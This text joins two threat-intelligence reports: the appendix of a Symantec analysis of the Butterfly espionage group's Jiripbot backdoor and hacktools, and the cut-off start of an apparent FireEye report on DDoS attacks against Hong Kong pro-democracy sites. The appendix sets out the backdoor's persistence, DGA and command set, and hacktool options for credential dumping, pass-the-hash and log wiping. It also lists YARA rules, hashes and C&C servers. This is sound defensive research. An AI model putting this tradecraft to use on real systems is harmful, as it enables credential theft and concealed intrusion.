CONCLUSION Organizations need to be aware of the threat that corporate espionage groups like Butterfly can pose.
Page 16 Butterfly: Corporate spies out for financial gain Conclusion Butterfly is a skilled, persistent, and effective attack group which has been active since at least March 2012.
They are well resourced, using at least one or possibly two zero-day exploits.
Their motivation is very likely to be financial gain and given that they have been active for at least three years, they must be successful at monetizing their operation.
Based on our analysis, the Butterfly attackers are likely a small team that steals data either as a service to another client or to monetize it themselves through insider trading.
Symantec believes that some members of Butterfly are native English speakers, given some of the colloquialisms and Western meme references included in their infrastructure.
The Butterfly attackers represent a threat to organizations involved in technology, pharmaceutical, law, investment, energy and natural resources.
However, over the past three years, the attackers have demonstrated that they can change their targets quickly, as they moved to include commodities in their list of targets in 2014.
Clearly, the Butterfly attackers will go where the money is.
Organizations need to be aware of the threat that corporate espionage groups like Butterfly can pose.
The attack group or their potential clients may have strong knowledge on how to leverage the stolen data to unfairly make gains in the market.
Page 17 Butterfly: Corporate spies out for financial gain Protection Symantec customers are protected against the Butterfly attacker toolset with the following signatures.
Additionally, YARA signatures and other indicators of compromise (IoCs) are listed in the appendix.
Antivirus Backdoor.
Jiripbot Hacktool.
Multipurpose Hacktool.
Securetunnel Hacktool.
Eventlog Hacktool.
Bannerjack Hacktool.
Proxy.
A IPS System Infected: Backdoor.
Jiripbot DGA Activity System Infected: Backdoor.
Jripbot Activity APPENDIX Page 19 Butterfly: Corporate spies out for financial gain Appendix Technical description of Backdoor.
Jiripbot There are several different versions of Backdoor.
Jiripbot, with the attackers adding or removing functionality over time.
Details of one version is presented in this document, with the majority of functionality remaining unchanged across different versions.
Functionality If the samples are executed with no command line argument and expected registry entries are missing, an infinite loop is entered that calculates SHA-1 hashes on random data.
This is likely an attempt to avoid automation engines.
To perform any activity, the samples need to be executed with a command line argument that begins with http.
This value is encrypted and stored in the registry the registry location varies based on the sample.
Each sample first encrypts the URL using RC4 with a hard-coded key.
It should be noted that the hard-coded key is stored in the binary as a wide character string, but is converted to a multibyte character string before the key is used.
This conversion will vary based on the region of the system executing the code.
The malware takes exactly one command line argument, but the single command line argument has a structure that is manually parsed by the malware.
The structure of the command line argument is as follows: http://[DOMAIN NAME].com /opts optval,optval... Where opt is one of the following: vm: Set to a number.
2 will disable vmware checks proxy_username: HTTP proxy user name to use proxy_password: HTTP proxy password to use proxy_host: HTTP proxy host to use proxy_port: HTTP proxy port to use resolv: Host name to resolve to delay: Number of delay loops to execute sleeptime: Number of seconds to sleep at certain points in the code cnx: Parameter that modifies how CC server is interacted with Once the URL from the command line is RC4-encrypted, it is encrypted a second time using the crypt32CryptProtectData API, with OptionalEntropy set to the ASCII string AYBABTU (this is the acronym for the phrase All your base are belong to us).
The use of crypt32CryptProtectData ensures that if the encrypted data is retrieved from an infected computer, it is very hard to decrypt the data on another computer.
The documentation for crypt32CryptProtectData states: Typically, only a user with the same logon credential as the user who encrypted the data can decrypt the data.
Next the malware examines its execution environment.
It first checks to make sure that the file name it is currently running under is the same as the original name when the executable was created.
It also looks for certain process names of running processes.
The process names it searches for are hashed, so we are not clear what it is looking for.
It checks that the hashed value of the registry subkey HKEY_LOCAL_MACHINE\Microsoft\WindowsNT\ CurrentVersion\ProductId is not equal to a number of hashed values.
It checks the hashed values of the registry Table 1.
Files analyzed from one variant of Jiripbot PE timestamp MD5 Size File name Purpose 12/13/2013 08:42 95ffe4ab4b158602917dd2a999a8caf8 302,592 FlashUtil.exe Back door 06/20/2014 07:06 531f2014a2a9ba4ddf3902418be23b52 302,592 LiveUpdater.exe Back door 06/20/2014 07:06 a0132c45e8afe84091b7b5bf75da9037 302,592 LiveUpdater.exe Back door 06/20/2014 07:06 1d5f0018921f29e8ee2e666137b1ffe7 302,592 LiveUpdater.exe Back door 08/20/2013 20:16 a90e836e0a6f5551242a823a6f30c035 361472 bda9.tmp Dropper Page 20 Butterfly: Corporate spies out for financial gain keys in HKEY_LOCAL_MACHINE\SOFTWARE against a list of hashes.
It also checks the registry subkeysHKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Disk\Enum and HKEY_LOCAL_MACHINE\HARDWARE\ DESCRIPTION\System\BIOS\SystemProductName resolv command When the resolv command line argument is set to a domain name, a domain name system (DNS) resolution request is made for that domain name with the current computer name and calculated UID value prepended to it.
For example, we observed the following: resolvh30026.drfx.chickenkiller.com When the sample is run with resolv set to that value, the following DNS query was observed: thread-2d9f4de5.1401420000c29bfea70f49b94b825e3e7586ce61350.h30026.drfx.
chickenkiller.com In this query, thread-2d9f4de5 is the computer name and 1401420000c29bfea70f49b94b825e3e7586ce61350 is the calculated UID value.
It is possible that the attackers use this method to exfiltrate the UID value, as the value is used in the DGA algorithm.
UID/UPDATE_ID calculation The UID is a unique ID calculated by the malware, as the following example shows: 1401420000c29bfea70f49b94b825e3e7586ce61350 This ID consists of the following elements: 14014: Hard-coded string in the malware.
May be a version number 2: The operating system version 0: 0 indicates x86, 1 indicates x86_64 000c29bfea70: This is the last six bytes of the UUID generated by a call to rpcrt4UuidCreateSequential.
This corresponds to the media access control (MAC) address of the infected computer.
f49b94b8: This is the first eight bytes of the volume serial number from a call to kernel32GetVolumeInfomationW 25e3e758: This is a dword hash of the string [COMPUTER NAME]\[USER NAME] using the current values from the computer name and user name 6ce61350: This is a hard-coded dword in the binary For the operating system (the number at offset 5 in previous UID example), the complete table is: 0: Unknown/Error/Windows 8.1/Windows Server 2012 R2 1: Windows 2000 2: Windows XP 3: Windows 2003, Windows XP Pro x64, Windows Home Server, Windows 2003 R2 4: Windows Vista 5: Windows Server 2008 6: Windows 7 7: Windows Server 2008 R2, Windows Server 2012 8: Windows 8 Installation The following registry subkeys may be used by Butterfly to maintain persistence: HKEY_CURRENT_USER\Software\Adobe\Preferences HKEY_CURRENT_USER\Software\Adobe\Options HKEY_CURRENT_USER\Software\Adobe\UID Page 21 Butterfly: Corporate spies out for financial gain HKEY_CURRENT_USER\Software\Acer\UPDATE_ID HKEY_CURRENT_USER\Software\Acer\Preferences HKEY_CURRENT_USER\Software\Acer\Options HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Acer LiveUpdater (likely named Liveupdater.exe) HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Adobe Flash Plugin Updater (FlashUtil.exe) The registry data stored in the Preferences and Options subkeys are REG_BINARY keys and the data within is encrypted using RC4 and crypt32CryptProtectData, as described previously.
The registry data stored in the UID is not encrypted it is stored in plain text.
The value of Preferences is the encrypted version of the first command line argument used to first start the malware.
For example, if the malware is launched as: FlashUtil.exe http://[DOMAIN NAME].com /opts vm2 The value of Preferences will be: http://[DOMAIN NAME].com /opts vm2.
The value of Options is the URL from the command line argument, so for the previous example, the value would be: http://[DOMAIN NAME].com Networking DGA Algorithm The DGA computes a URL similar to the following: http://jdk.
MD5([MM].[YYYY].
[UID AS WIDE-CHARACTER STRING]).org [MM] is the current month and [YYYY] is the current year.
Note that the value of [UID AS WIDE-CHARACTER STRING] is the value of the UID registry entry, but as a wide characters, so 07.2014.140... would be 0\x007\ x00.\x002\x000\x001\x004\x00.\x001\x004\x000\x00... for the purposes of the MD5 calculation.
For example, on July 22, 2014 on a system with the UID set to 1401420000c29bfea70f49b94b825e3e7586ce61350, the DGA URL would be: http://jdk.
MD5(\07.2014.1401420000c29bfea70f49b94b825e3e7586ce61350\).org Finally: http://jdk.20e8ad99287f7fc244651237cbe8292a.org Note that some samples use HTTPS instead of HTTP.
CC commands The following commands implement back door functionality.
cd: Changes current working directory exec: Executes a file using cmd.exe install: Sets the registry subkey for persistence.
The registry subkey is only set if this command is sent quit: Ends the back door session sleeptime: Sets the sleep time between CC queries shred: Overwrites file multiple times to perform a forensic-safe delete.
Only found in samples with a PE timestamp in 2014 sysinfo: Gathers and reports system information uninstall: Uninstalls itself Page 22 Butterfly: Corporate spies out for financial gain update: Updates itself url: Updates CC URL in registry (although this feature appears to be disabled) wget: Downloads file to infected computer Decryption keys The following MD5s used the corresponding keys for decryption: 95ffe4ab4b158602917dd2a999a8caf8: 0xb4 531f2014a2a9ba4ddf3902418be23b52: 0xa9 a0132c45e8afe84091b7b5bf75da9037: 0xa9 1d5f0018921f29e8ee2e666137b1ffe7: 0xa9 There is a string in all of the binaries equal to la revedere, which is goodbye in Romanian.
Hacktool help descriptions Hacktool.
BannerJack The following information details the help output of Hacktool.
BannerJack: Usage: ./banner-jack [options] -f: file.csv -s: ip start -e: ip end -p: port -t: thread numbers (optional, default 4) -v: verbose (optional) -d: daemonize (optional - not supported on win32) -T: timeout connect (optional, default d secs) -R: timeout read (optional, default d secs) Hacktool.
MultiPurpose The following information is the help output of Hacktool.
MultiPurpose: Version: 1.5 General options --------------- --install: install server on local host and load it --host host: hostname or IP (local host if not set) --password password: server password connection (mandatory) --forceload: load server on local host without test Server options -------------- --cmd: server command: dump: dump stuffz --sam: fetch LM/NTLM hashes --machines: fetch machines hashes --history: fetch history for LM/NTLM hashes --sh: fetch logon sessions hashes --sp: fetch security packages cleartext passwords --accounts: account list: with --sam, specify accounts to dump (comma separated) --lsa: fetch LSA secrets Page 23 Butterfly: Corporate spies out for financial gain --vnc: fetch VNC server password pth PID:USER:DOMAIN:NTLM: change credentials of PID startlog: start recording of loggon sessions stoplog: stop recording of loggon sessions getlog: retrieve stored loggon sessions callback IP:port: create a callback to IP:host ping: ping server shred file: shred a file remove: cancel null session, clean logs, wipe library quit: unload library reboot: reboot windows info: show info (version, library path, etc.)
listevt: list events logs showevt file[:num]: show num last entries in file events log (default num: 15) last [num]: show last num login/logoff (default num: all) cleanlast-user user: remove user from security logs cleanlast-desc word: remove word from security logs (in description) cleanlast-quit 10: enable/disable cleaning ANONYMOUS LOGON entries before quit Output options -------------- --file filename: output filename to dump information in --compress: compress data (only used when file is set) --encrypt key: encrypt data (only used when file is set) Misc options ------------ --print key: print a compress and/or encrypted specified file --test445: test if port 445 is available on specified host --establishnullsession, --ens: establish a null session on specified host --cancelnullsession, --cns: cancel an established null session with a specified host Hacktool.
Proxy.
A The following information details the help output of Hacktool.
Proxy.
A: -z ip/host : destination ip or host -P port    : destination port -x ip/host : proxy ip or host -Y port    : proxy port -C cmdline : commandline to exec -u user    : proxy username -p pass    : proxy password -n         : NTLM auth -v         : displays program version -m         : bypass mutex check --pleh     : displays help Page 24 Butterfly: Corporate spies out for financial gain Hacktool.
Eventlog The following information details the help output of Hacktool.
Eventlog: -z  Zap (kill) all processes with specified name -y  Dump logon/logoff events from Security channel (-t and -n optionals) -X  Secure self delete our program -x  Secure delete a file -w  Show all logs from a .evtx file (requires -f) -v  Enable verbose mode -t  Delta time (in hours -s  Dump logon/logoff events from System channel (-t and -n optionals) -r  RecordIds list, comma separated without spaces (1234,5678) -q  Query Mode -p  Filter with provider -n  Number of events to show (default 16, 0all) -ll List all channels -l  List used channels -K  Match a keyword in XML data (case insensitive) from all channels -k  Match a keyword in XML data (case insensitive) from a specific channel -h  Help -f  Specify a .evtx file (system.evtx) -F  Flush all logs to disk -e  EventIds list, comma separated without spaces (1234,5678) -Dr Dump all logs from a channel or .evtx file (raw parser) (-c or -f) -D  Dump all logs from a channel .evtx file (requires -c or -f) -d  Delete mode (requires -e or -r) -c  Specify a channel (Security, System, Application, ...) YARA signatures The following details are the YARA signatures related to this analysis: rule Bannerjack  meta: author  Symantec Security Response date  2015-07-01 description  Butterfly BannerJack hacktool strings: str _ 1  Usage: ./banner-jack [options] str _ 2  -f: file.csv str _ 3  -s: ip start str _ 4  -R: timeout read (optional, default d secs) condition: all of them  rule Eventlog  meta: author  Symantec Security Response date  2015-07-01 description  Butterfly Eventlog hacktool strings: str _ 1  wevtsvc.dll str _ 2  Stealing S.evtx handle ... str _ 3  ElfChnk Page 25 Butterfly: Corporate spies out for financial gain str _ 4  -Dr Dump all logs from a channel or .evtx file (raw condition: all of them  rule Hacktool  meta: author  Symantec Security Response date  2015-07-01 description  Butterfly hacktool strings: str _ 1  \\\\.\\pipe\\winsession wide str _ 2  WsiSvc wide str _ 3  ConnectNamedPipe str _ 4  CreateNamedPipeW str _ 5  CreateProcessAsUserW condition: all of them  rule Multipurpose  meta: author  Symantec Security Response date  2015-07-01 description  Butterfly Multipurpose hacktool strings: str _ 1  dump ddddddsd str _ 2  kerberosd.dll str _ 3  \\\\.\\pipe\\lsassp str _ 4  pth PID:USER:DOMAIN:NTLM: change condition: all of them  rule Securetunnel  meta: author  Symantec Security Response date  2015-07-01 description  Butterfly Securetunnel hacktool strings: str _ 1  KRB5CCNAME str _ 2  SSH _ AUTH _ SOCK str _ 3  f:l:u:cehR str _ 4  .oBOX/ SE condition: all of them  rule Proxy Page 26 Butterfly: Corporate spies out for financial gain  meta: author  Symantec Security Response date  2015-07-01 description  Butterfly proxy hacktool strings: str _ 1  -u user    : proxy username str _ 2  --pleh     : displays help str _ 3  -x ip/host : proxy ip or host str _ 4  -m         : bypass mutex check condition: all of them  rule jiripbot _ ascii _ str _ decrypt  meta: author  Symantec Security Response date  2015-07-01 description  Butterfly Jiripbot hacktool strings: decrypt _ func 85 FF 75 03 33 C0 C3 8B C7 8D 50 01 8A 08 40 84 C9 75 F9 2B C2 53 8B D8 80 7C 3B FF ?
?
75 3E 83 3D ??
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00 56 BE ??
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75 11 56 FF 15 ??
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C7 05 ??
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01 00 00 00 56 FF 15 ??
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33 C0 85 DB 74 09 80 34 38 ?
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40 3B C3 72 F7 56 FF 15 ??
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5E Page 27 Butterfly: Corporate spies out for financial gain 8B C7 5B C3  condition: decrypt _ func  rule jiripbot _ unicode _ str _ decrypt  meta: author  Symantec Security Response date  2015-07-01 description  Butterfly Jiripbot Unicode hacktool strings: decrypt 85 ?
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5B 8B C6 5F C3  condition: decrypt  Page 28 Butterfly: Corporate spies out for financial gain File hashes Many of the hashes listed in Table 2 are for clean files which are used by the Butterfly attackers.
Do not use any marked with N/A or Clean files in any automated detection system.
They are provided merely as potential indicators of compromise, not as definitively malicious files.
Any files that are marked as N/A were not retrievable by Symantec, but are believed to be used by the attackers.
Table 2.
File hashes of tools used by the Butterfly attackers, including filenames.
(
List includes clean files) SHA-256 File name Description 2a8cb295f85f8d1d5aae7744899875ebb4e6c3ef74fbc5bfad6e7723c192c5cf winsession.dll Hacktool da41d27070488316cbf9776e9468fae34f2e14651280e3ec1fb8524fda0873de bj.dat Hacktool.
Bannerjack 796b1523573c889833f154aeb59532d2a9784e4747b25681a97ec00b9bb4fb19 bj.dat Hacktool.
Bannerjack c54f31f190b06649dff91f6b915273b88ee27a2f8e766d54ee4213671fc09f90 pc.dat Hacktool.
Multipurpose 54a8afb10a0569785d4a530ff25b07320881c139e813e58cb5a621da85f8a9f5 pc.dat Hacktool.
Multipurpose 2bd5f7e0382956a7c135cdeb96edfdbccfcfc1955d26e317e2328ea83ace7cee pc.dat Hacktool.
Multipurpose c83bb0330d69f6ad4c79d4a0ce1891e6f34091aecfeaf72cf80b2532268a0abc pc.dat Hacktool.
Multipurpose 178b25ddca2bd5ea1b8c3432291d4d0b5b725e16961f5e4596fb9267a700fa2f PC.DAT Hacktool.
Multipurpose 9bff19ca48b43b148ff95e054efc39882d868527cdd4f036389a6f11750adddc PC.DAT Hacktool.
Multipurpose e8591c1caa53dee10e1ef748386516c16ab2ae37d9555308284690ea38ddf0c5 clapi32.dll Clean Cygwin DLL d15b8071994bad01226a06f2802cbfe86a5483803244de4e99b91f130535d972 Bda9.tmp.
Backdoor.
Jiripbot 0ac7b594aaae21b61af2f3aabdc5eda9b6811eca52dcbf4691c4ec6dfd2d5cd8 wlc.dat Hacktool.
EventLog b81484220a46c853dc996c19db9416493662d943b638915ed2b3a4a0471cc8d8 wlc.dat Hacktool.
EventLog 49e4198c94b80483302e11c2e7d83e0ac2379f081ee3a3aa32d96d690729f2d6 wlc.dat Hacktool.
EventLog fcaab8f77e4c9ba922d825b837acfffc9f231c3abb21015369431afae679d644 wlc.dat Hacktool.
EventLog 534004a473761e60d0db8afbc99390b19c32e7c5af3445ecd63f43ba6187ded4 a.exe Backdoor.
Jiripbot 534004a473761e60d0db8afbc99390b19c32e7c5af3445ecd63f43ba6187ded4 FLASHUTIL.EXE Backdoor.
Jiripbot 758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92 N/A Backdoor.
Jiripbot 683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9 N/A Backdoor.
Jiripbot 8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a N/A Backdoor.
Jiripbot 14bfc2bf8a80a19ff2c1480f513c96b8e8adc89a8d75d7c0064f810f1a7a2e61 LiveUpdater.exe Backdoor.
Jiripbot c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0 LiveUpdater.exe Backdoor.
Jiripbot ccc851cbd600592f1ed2c2969a30b87f0bf29046cdfa1590d8f09cfe454608a5 LiveUpdater.exe Backdoor.
Jiripbot 2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94 LiveUpdater.exe Backdoor.
Jiripbot 6fb43afb191b09c7b62da7a5ddafdc1a9a4c46058fd376c045d69dd0a2ea71a6 LiveUpdater.exe Backdoor.
Jiripbot 48c0bd55e1cf3f75e911ef66a9ccb9436c1571c982c5281d2d8bf00a99f0ee1a N/A Backdoor.
Jiripbot 781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e FlashUtil.exe Backdoor.
Jiripbot 1a9f679016e38d399ff33efcfe7dc6560ec658d964297dbe377ff7c68e0dfbaf LiveUpdater.exe Backdoor.
Jiripbot b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45 RtlUpd.exe Backdoor.
Jiripbot cafc745e41dbb1e985ac3b8d1ebbdbafc2fcff4ab09ae4c9ab4a22bebcc74e39 clapi32.dll Clean Cygwin DLL 25fe7dd1e2b19514346cb2b8b5e91ae110c6adb9df5a440b8e7bbc5e8bc74227 rtlupd.exe Backdoor.
Jiripbot 8db5c2b645eee393d0f676fe457cd2cd3e4b144bbe86a61e4f4fd48d9de4aeae IASTOR32.EXE Hacktool.
Securetunnel 9fab34fa2d31a56609b56874e1265969dbfa6c17d967cca5ecce0e0760670a60 iastor32.exe Hacktool.
Securetunnel bc177e879fd941911eb2ea404febffa2042310c632d9922205949155e9b35cb6 iastor32.exe Hacktool.
Securetunnel 2d3ea11c5aea7e8a60cd4f530c1e234a2aa2df900d90122dd2fcf1fa9f47b935 IASTOR32.EXE Hacktool.
Securetunnel 81955e36dd46f3b05a1d7e47ffd53b7d1455406d952c890b5210a698dd97e938 iastor32.dat Hacktool.
Securetunnel Page 29 Butterfly: Corporate spies out for financial gain 81955e36dd46f3b05a1d7e47ffd53b7d1455406d952c890b5210a698dd97e938 IASTOR32.EXE Hacktool.
Securetunnel 7aa1716426614463b8c20716acf8fd6461052a354b88c31ad2cc8b8a3b3e6868 nrouting.exe Hacktool.
Securetunnel 7aa1716426614463b8c20716acf8fd6461052a354b88c31ad2cc8b8a3b3e6868 nspool.exe Hacktool.
Securetunnel efbc082796df566261b07f51a325503231e5a7ce41617d3dfff3640b0be06162 updt.dat Hacktool.
Securetunnel cfacc5389683518ecdd78002c975af6870fa5876337600e0b362abbbab0a19d2 mspool.exe Hacktool.
Securetunnel cfacc5389683518ecdd78002c975af6870fa5876337600e0b362abbbab0a19d2 nspool.exe Hacktool.
Securetunnel a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c twunk_64.exe Hacktool.
Securetunnel a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c updater.dat Hacktool.
Securetunnel a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c UPDT.DAT Hacktool.
Securetunnel 3756ddcb5d52f938dd9e07d61fae21b70e665f01bbb2cbe04164e82892b86e2f pc.dat Hacktool.
Securetunnel 3756ddcb5d52f938dd9e07d61fae21b70e665f01bbb2cbe04164e82892b86e2f twunk_64.exe Hacktool.
Securetunnel 90b5fec973d31cc149d0e2683872785fa61770deec6925006e9142374c315fde CP.DAT Hacktool.
Proxy.
A 1c81bc28ad91baed60ca5e7fee68fbcb976cf8a483112fa81aab71a18450a6b0 msvcse.exe Hacktool.
Proxy.
A 1c81bc28ad91baed60ca5e7fee68fbcb976cf8a483112fa81aab71a18450a6b0 proxynt2.exe Hacktool.
Proxy.
A 45f363e498312a34fa99af3c1cdd635fcebefaa3222dff348a9ab8ca25530797 cp.dat Hacktool.
Proxy.
A b49ad915beccbeeb9604ed511df0efc6cedc048c75b51806f8592031c2ca3208 sh.exe Shred (Clean tool) b49ad915beccbeeb9604ed511df0efc6cedc048c75b51806f8592031c2ca3208 shred.exe Shred (Clean tool) 1baac5d450fb5d6eb76731c7fb4af85ede2603b4fad8087e572e4818150edc3e kerberos32.dll N/A c224006b7d307a8e46be174085cff789823ab2901095c56b4e90d582877ebafb nltest.exe N/A c8e2029d6d4fa2cbd4d120c289938476b7943fdfa689709af64bd3f270156212 cudacrt.dll N/A ece2d793bd809288d763e31036bc561bbc34452785eed64d39ef91e61f6ae741 nvcplex.dat N/A cee20c8de212bcce2fa77ba85686d668e997265e3b6d69a1adac578972aaf88a kerberos32.dll N/A dee31199fc026cea5824e3dd01f4e51801c3ffc7e313aef63862c41ddf422a6e cudacrt.dll N/A 48c24314780bb9690e7014e01e53ca702cf8ba97aa72423607541a8437af26aa inst.dat N/A 48c24314780bb9690e7014e01e53ca702cf8ba97aa72423607541a8437af26aa nvcplex.dat N/A 00a6d40ed77de5ff7c40449e58ab86b48d5318de0df9012aa459923a366ea6f6 INST.DAT N/A 2e5e14f12278294fbe71239e4b9002e74d961f6eb985229d5688fa809888baa7 RAS.DAT N/A add22794553e9f86faf6f5dace4d7bd4d6023dfe755c84988723a0dad00406b8 nete.dat N/A add22794553e9f86faf6f5dace4d7bd4d6023dfe755c84988723a0dad00406b8 NETE.EXE N/A e86f6bd6bc6f631fe7a98faee5033dafe49655afc65a51dc3026a578f5285fdc kerberos32.DLL N/A e86f6bd6bc6f631fe7a98faee5033dafe49655afc65a51dc3026a578f5285fdc kerberos64.dll N/A 2a959108855430fcd252a7ac87c5cbfc9aed9afd95af013ae4d1d395fb4c6980 ps.dat N/A dfa52895a1093e3b5474107bd371b98242617e58dd30ba61977be6e6b57d869d nvcplex.dat N/A d980a5f103104595b137a4d5d9a73f90821657d09bca0ec5cfc8ae52db096a0f inst.dat N/A d980a5f103104595b137a4d5d9a73f90821657d09bca0ec5cfc8ae52db096a0f taskhost.exe N/A e5d0169be787fcfbf9dabb766b7625802bbc46471d56730e446e6beba82aa581 cudacrt.dll N/A 0ecfea8f338eb616ee41bb302a81c2abe6759e32edc3c348b6e81589fefb5587 cudacrt.
DLL N/A 37d9e8fc4dc389e121c76a53aa96b311da1beaecbc819095600dc2ee0c4f4eca plog.dat N/A 819694a6a4f6f48604ee769dc303852799cd473cbda946cbcd6ba82d20ced668 pc.dat N/A 88979438a208c873d5dd698eee3ca4c2c99b1d3828eabfe01e0cf593680d607d dp.dat N/A fac197d47807c5d61ded7679c0f79084089085122b5cee70bfeb6547b840fd64 vaioupdter.exe N/A 36a73defccba5e53c955c75f4c2578e966cdfbad022d4384f7856a64c069b371 cudacrt.dll N/A 53c77ee898139b26143bba450cfdb8c6fe385562195530b30555b11fd63c9166 h2t.dat N/A d652ed82d2f8e36156cbfeb7137765210e00a9e33c3827c4ef29d7e984a7d46a INST.DAT N/A eda52dbcd0afa845ba9cc7460ba36b2b9cac10e9533ac1ca63ced449376b679d tasks.exe N/A 1677573bb02cc073e248e4a14334db90be8052d0b236e446e29582f50441fa33 N/A Back door 1c9af096e4c7daa440af136f2b1439089a827101098cfe25b8c19fc7321eaad9 N/A Back door fd616d1298653119fb4fbd88c0d39b881181398d2011320dc9c8c698897848c4 N/A Back door Page 30 Butterfly: Corporate spies out for financial gain CC server details The following IP addresses were used for CC traffic using SSH over port 443: 46.183.217.132 46.165.237.75 217.23.3.112 178.162.197.9 The following CC servers were used by Backdoor.
Jiripbot and OSX.Pintsized: ddosprotected.eu drfx.chickenkiller.com The following CC domains were used by Butterfly-related back doors.
They were also used to host exploits over HTTP: digitalinsight-ltd.com clust12-akmai.net jdk-update.com corp-aapl.com cloudprotect.eu The following shows the format of Backdoor.
Jiripbots DGA domains: jdk\.
[a-f0-9]32\.org e.g.
jdk.20e8ad99287f7fc244651237cbe8292a.org 9d077a37b94bf69b94426041e5d5bf1fe56c482ca358191ca911ae041305f3ed N/A Back door 29906c51217d15b9bbbcc8130f64dabdb69bd32baa7999500c7a230c218e8b0a N/A Back door 3cfdd3cd1089c4152c0d4c7955210d489565f28fb0af9861b195db34e7ad2502 N/A Back door 4327ce696b5bce9e9b2a691b4e915796218c00998363c7602d8461dd0c1c8fbb N/A Back door 5ab4c378fd8b3254808d66c22bbaacc035874f1c9b4cee511b96458fedff64ed N/A Back door fba34e970c6d22fe46b22d4b35f430c78f43a0f4debde3f7cbcddca9e4bb8bbb N/A N/A 11b42a5b944d968cbfdaac5075d195cc4c7e97ba4ff827b75a03c44a3b4c179a N/A N/A 6e62ee740e859842595281513dd7875d802a6d88bcbb7e21c1c5b173a9e2e196 N/A N/A For specific country offices and contact numbers, please visit our website.
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Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kongs Pro-Democracy Movement As the pro-democracy movement in Hong Kong has continued, weve been watching for indications of confrontation taking place in cyberspace.
Protests began in September and have continued to escalate.
In recent weeks, attackers have launched a series of Distributed Denial of Service attacks (DDoS) against websites promoting democracy in Hong Kong.
According to the Wall Street Journal, websites belonging to Next Medias Apple Daily publication have suffered from an ongoing DDoS attack that brought down its email system for hours.
According to other reports, Next Medias network has suffered a total failure as a result of these attacks.
Additionally, at least one member of the popular online forum HKGolden was arrested for posting messages encouraging support for the OccupyCentral Pro Democracy movement.
The use of DDoS attacks as a political tool during times of conflict is not new patriotic hacktivist groups frequently use them as a means to stifle political activity of which they disapprove.
The question of state sponsorship (or at least tacit approval) in online crackdowns is often up for debate and ambiguous from a technical evidence and tradecraft perspective.
In this case, however, weve discovered an overlap in the tools and infrastructure used by China-based advanced persistent threat (APT) actors and the DDoS attack activity.
We believe that these DDoS attacks are linked to previously observed APT activity, including Operation Poisoned Hurricane.
This correlation sheds light on the potential relationships, symbiosis and tool sharing between patriotic hacker activities designed to disrupt anti-government activists in China, and the APT activity we consistently see that is more IP theft and espionage-focused.
Ongoing DDoS Attacks Target the Pro-Democracy Movement FireEye has identified a number of binaries coded to receive instructions from a set of command and control (C2) servers instructing participating bots to attack Next Media-owned websites and the HKGolden forum.
Next Media is a large media company in Hong Kong and the HkGolden forum has been used as a platform to organize pro-democracy protests.
Each sample we identified is signed with digital certificates that have also been used by APT actors to sign binaries in previous intrusion operations: http://www.fireeye.com/blog/wp-content/uploads/2014/11/MD5-Hash.png These binaries are W32 Cabinet self-extracting files that drop a variant of an older DDoS tool known as KernelBot .
All of the samples we identified have the NewVersion value of 20140926.
Structurally, all of these samples are similar in that they drop three files: ctfmon.exe-a legitimate, signed copy of the Pidgin IM client (md5 hash  1685f978149d7ba8e039af9a4d5803c7) libssp-0.dllmalware DLL which is side-loaded by ctfmon.exe to decode and launch KernelBot.
Most versions of this dll are also signed by either the QTI or CallTogether certificate.
readme.txt  a binary file which contains the XOR-encoded KernelBot DLL as well as C2 destination information (most have md5 hash of b5ac964a74091d54e091e68cecd5b532) The KernelBot implants receive targeting instructions from C2 servers hard-coded directly into the sample.
For example, c3d6450075d618b1edba17ee723eb3ca drops a KernelBot variant that connects to both www.sapporo-digital-photoclub[.
]com and wakayamasatei[.
]com.
The full list of C2 servers we identified is as follows: sapporo-digital-photoclub[.
]com wakayamasatei[.
]com tommo[.
]jp mizma.co[.
]jp sp.you-maga[.
]com nitori-tour[.
]com ninekobe[.
]com shinzenho[.
]jp wizapply[.
]com www.credo-biz[.
]com On Oct. 21, the control server at wakayamasatei[.
